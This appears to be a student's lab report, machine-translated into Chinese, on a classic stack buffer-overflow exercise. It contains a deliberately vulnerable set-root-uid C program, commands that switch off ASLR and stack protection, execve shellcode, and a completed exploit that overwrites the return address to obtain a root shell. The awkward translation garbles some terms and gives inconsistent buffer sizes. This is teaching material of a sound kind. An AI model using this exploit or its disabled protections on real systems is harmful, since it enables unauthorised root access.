2實驗室任務

2.1初始設定

??您可以使用我們預先構建的 Ubuntu虛擬機來執行實驗室任務，Ubuntu和其他Linux發行版已經實作了一些安全機制，使緩沖區溢位攻擊變得困難，簡單地說，我們得先讓他們癱瘓，
??地址空間隨機化，Ubuntu和其他幾個基于linux的系統使用地址空間隨機化來隨機化堆和堆疊的起始地址，這使得猜測準確地址變得困難;猜測地址是緩沖區溢位攻擊的關鍵步驟之一，在這個實驗中，我們使用以下命令禁用這些特性:

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

??StackGuard保護計劃，GCC編譯器實作了一種名為“堆疊保護”的安全機制，以防止緩沖區溢位，在此保護存在時，緩沖區溢位將不起作用，如果你使用-fno-stack -保護開關編譯程式，你可以禁用這個保護，例如，要編譯一個禁用堆疊保護的程式examp le.c，你可以使用以下命令:

$ gcc -fno-stack-protector example.c

??不可執行堆疊，Ubunu過去允許可執行堆疊，但現在已經改變了:程式(和共享庫)的二進制映像必須宣告它們是否需要可執行堆疊，也就是說，必須宣告它們是否需要可執行堆疊，，它們需要在程式頭中標記一個欄位，內核或動態連接器使用此標記來決定是否使運行中的程式的堆疊為可執行的或不可執行的，這個標記是由gcc的最新版本自動完成的，默認情況下，堆疊被設定為不可執行的，要改變這種情況，請在編譯程式時使用以下選項:
For executable stack:

$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c

2.2 Shellcode

??在你開始攻擊之前，你需要一個外殼代碼，外殼代碼是發射外殼的代碼，它必須被加載到記憶體中這樣我們才能迫使易受攻擊的程式跳轉到記憶體中，考慮以下程式:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

??我們使用的 shellcode只是上面程式的匯編版本，下面的程式向您展示了如何通過執行存盤在緩沖區中的shellcode來啟動shell，請編譯并運行以下代碼，看看是否呼叫了shell，

/* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */ ;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

請使用以下命令編譯代碼(不要忘記execstack選項);

$ gcc -z execstack -o call_shellcode call_shellcode.c

??在這個shellcode中有幾個地方值得一提，首先，第三條指令將"//sh"而不是" /sh"推入堆疊，這是因為我們需要一個32位的數字，而“/sh”只有24位，幸運的是，“//“等價于”/"，所以我們可以使用雙斜杠符號，其次，在呼叫execve()系統呼叫之前，我們需要將name0、name(陣列的地址)和NULL分別存盤到%ebx、%ecx和%edx暫存器中，第5行存盤name[0]到%ebx;第8行存盤name到%ecx;第9行設定%edx為零，還有其他方法設定%edx為零(例如，xorl %edx，%edx);這里使用的(cdq)只是一條更短的指令:它將EAX暫存器(此時為0)中的值的符號(第31位)復制到EDX暫存器的每個位位置，基本上將%EDX設定為0，第三，當我們將%al設定為11，并執行“int $0x80”時，系統呼叫execve()，

2.3易受攻擊程式

/stack.c*/
/* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

??編譯上述易受攻擊的程式并設定它的 set-root-uid，你可以通過在根帳戶中編譯它，并將可執行檔案chmod為4755(不要忘記包括execstack 和l-fno-stack-protector 選項來關閉非可執行堆疊和StackGuard保護):

$ su root
Password (enter root password)
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit

??上面的程式有一個緩沖區溢位漏洞，它首先從一個名為“badfile”的檔案中讀取一個輸入，然后將這個輸入傳遞給函式 bof()中的另一個緩沖區，原始輸入的最大長度為517位元組，但是 bof)中的緩沖區只有12位元組長，因為strcpy()不檢查邊界，所以會發生緩沖區溢位，由于該程式是一個set-root-uid程式，如果普通用戶可以利用這個緩沖區澄出漏洞，則普通用戶可能能夠獲得根shell，需要注意的是，該程式的輸入來自一個名為“badfile”的檔案，該檔案由用戶控制，現在，我們的目標是為“badfile”創建內容，以便當易受攻擊的程式將內容復制到其緩沖區時，可以生成根shell，
??教師:為了測驗學生是否真的知道如何進行攻擊，在演示期間，要求學生將緩沖區大小從12更改為易受攻擊的程式堆疊中的另一個數字，如果學生真的知道攻擊，他們應該能夠修改攻擊代碼并成功發動攻擊，

2.4任務1:利用漏洞

??我們為您提供一個部分完成的 exploit代碼，稱為“exploit.c”，這段代碼的目標是為“badfile”構造內容，在這個代碼中，shellcode是給你的，你需要開發剩下的部分，

/* exploit.c */ /* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */ ;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

??完成上述程式后，編譯并運行它，這將生成 badfile 的內容，然后運行脆弱的程式堆疊，如果你的漏洞實作正確，你應該能夠得到一個根shell:
??重要提示:請先編譯您的易受攻擊的程式，請注意，該程式 exploit.c生成壞檔案，可以在啟用默認堆疊保護的情況下進行編譯，這是因為我們不會使程式中的緩沖區溢位，我們將溢位堆疊中的緩沖區，c，它在禁用堆疊保護的情況下編譯，

$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

需要注意的是，盡管您獲得了"# "提示符，但您真正的用戶id仍然是您自己(有效的用戶i現在是 root)，你可以通過輸入以下內容進行檢查:

# id
uid=(500) euid=0(root)

??如果將許多命令作為Set-UID根行程執行，而不只是作為根行程執行，那么它們的行為將有所不同，因為它們認識到真正的用戶id不是根，要解決這個問題，可以運行以下程式將真正的用戶id轉換為root，這樣，您將擁有一個真正的根行程，它更加強大，

void main()
{
setuid(0); system("/bin/sh");
}

1.關閉地址空間隨機化,

$ su root
#sysctl -w kernel.randomize_va_space=0

編譯時開啟可執行堆疊:

 gcc -z execstack -o call_shellcode call_shellcode.c

2.execstack和-fno-stack-protector選項

來關閉非可執行的堆疊和StackGuard選項，對攻擊程式stack.c進行root+suid編譯,同時去除它的堆疊保護.

su root
gcc -o stack -z execstack -fno-stack-protector stack.c
chmod 4755 stack
exit

3.對stack進行gdb,首先查看bof的起始位置和回傳地址.

4.確定緩沖區的位置

先在badfile里寫入了AAAA,為了確定緩沖區的位置,查看ESP之后,我們可以知道回傳地址和緩沖區之間相差了9個位元組

這樣我們就可以在回傳地址填充36個字符,然后在回傳地址出寫入我們shellcode所在緩沖區的地址.

0xbfffeff0+200=bffff0b8

5.開始攻擊

在exploit.c中添加了攻擊代碼如下：

/* exploit.c */ /* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */ ;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */
strcpy(buffer, "qqqqwwwwqqqqwwwwqqqqwwwwqqqqwwwwqqqq\xb8\xf0\xff\xbf");
strcpy( buffer+200,shellcode);

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

之后編譯運行，最侄訓得了root權限

??中間還發生了意個小插曲，就是第二次打開終端進行實驗時，忘記關閉stack.c的堆疊保護：gcc -o stack -z execstack -fno-stack-protector stack.c了，結果算了一晚上也沒能成功，最后在第二天的時候發現了這個問題，才成功了，

2.5任務2:地址隨機化

??現在，我們打開Ubuntu的地址隨機化，我們運行Task 1中開發的相同攻擊，你能拿一個貝殼嗎?如果沒有，是什么問題?地址隨機化如何使您的攻擊變得困難?你應該在你的實驗報告中描述你的觀察和解釋，您可以使用以下說明來打開地址隨機化:

$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

??如果運行一次易受攻擊的代碼無法獲得根shell，那么多次運行該代碼又如何呢?可以在下面的回圈中運行.stack，看看會發生什么，如果您的利用程式設計正確，您應該能夠在一段時間后獲得根shell，您可以修改您的利用程式，以增加成功的概率(即:減少你的等待時間)，

$ sh -c "while [ 1 ]; do ./stack; done;"

使用的腳本如上，先打開地址隨機化，然后運行腳本，重復攻擊，

在中午去上課的時候運行了攻擊腳本，回來的時候結果已經出來了，成功獲得了root權限，

2.6任務3:堆疊保護

??在完成這個任務之前，請記住首先關閉地址隨機化，否則您將不知道哪個保護有助于實作保護，
??在之前的任務中，我們在編譯程式時禁用了GCC中的“堆疊保護”保護機制，在這個任務中，您可以考慮在Stack Guard存在的情況下重復任務1，要做到這一點，你應該在沒有-fno-stack-protector選項的情況下編譯程式，對于此任務，您將重新編譯易受攻擊的程式堆疊，要使用GCC的堆疊守衛，請再次執行任務1，并報告觀察結果，您可以報告觀察到的任何錯誤訊息，
??在GCC4.3.3和更新的版本中，默認情況下啟用了Stack Guard，因此，您必須使用前面提到的開關禁用堆疊保護，在早期的版本中，默認情況下是禁用的，如果您使用較舊的GCC版本，您可能不必禁用堆疊保護，

打開gcc編譯器的堆疊保護機制，即在編譯時，不使用-fno-stack-protector，那么重復以上的攻擊，我們是無法攻擊成功的，

2.7任務4:非可執行堆疊

??在完成這個任務之前，請記住首先關閉地址隨機化，否則您將不知道哪個保護有助于實作保護，
??在前面的任務中，我們故意使堆疊可執行，在這個任務中，我們使用noexecstack選項重新編譯脆弱的程式，并在任務1中重復攻擊，你能拿一個shell嗎?如果沒有，是什么問題?這個保護方案如何使您的攻擊變得困難?你應該在你的實驗報告中描述你的觀察和解釋，您可以使用以下說明來打開非可執行堆疊保護，
# Gcc -o stack -fno-stack-protector -z noexecstack .c
??需要注意的是，非可執行堆疊只會使在堆疊上運行 shellcode變得不可能，但它并不能防止緩沖區溢位攻擊，因為在利用緩沖區溢位漏洞之后，還有其他方法可以運行惡意代碼，回到 libc 的進攻就是一個例子，我們為這次襲擊設計了一個單獨的實驗室，如果您感興趣，請參閱我們的回傳- libc攻擊實驗室的詳細資訊，
??如果你正在使用我們的Ubuntu 12.04虛擬機，這個非執行堆疊保護是否有效取決于CPU和你的虛擬機設定，因為這個保護取決于CPU提供的硬體特性，如果您發現非可執行堆疊保護不起作用，請查看我們鏈接到實驗室網頁的檔案(“non-xecutable stack Notes”)，看看檔案中的說明是否可以幫助您解決問題，如果沒有，那么你可能需要自己解決問題，

使用noexecstack選項重新編譯脆弱的程式之后，由于堆疊不可執行，我們也無法攻擊成功，